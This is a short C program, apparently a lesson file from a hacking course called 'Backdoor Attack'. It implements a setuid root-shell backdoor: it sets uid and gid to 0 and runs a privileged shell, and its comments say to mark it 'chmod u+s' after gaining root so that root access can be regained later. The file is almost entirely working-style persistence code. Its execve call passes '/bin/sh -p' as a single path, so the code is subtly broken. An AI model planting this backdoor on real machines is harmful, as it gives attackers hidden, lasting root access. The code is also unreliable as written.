/* HackersLab - Hacker Academy ISM 1, Backdoor Attack
 * Author: jykim@hackerslab.com, jykim@nownuri.net
 *
 * Description: This example shows the effective on the execution of the 
 * program with the setuid.
 * 
 * Result: You get the uid, gid and euid with 0.
 *
 * Note: This program should set the setuid using 'chmod u+s' on the status
 * which you get the privilege.
 */

#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
    char *name[] = {"/bin/sh -p", NULL};
    setuid(0);
    setgid(0);
    execve(name[0], name, NULL);
}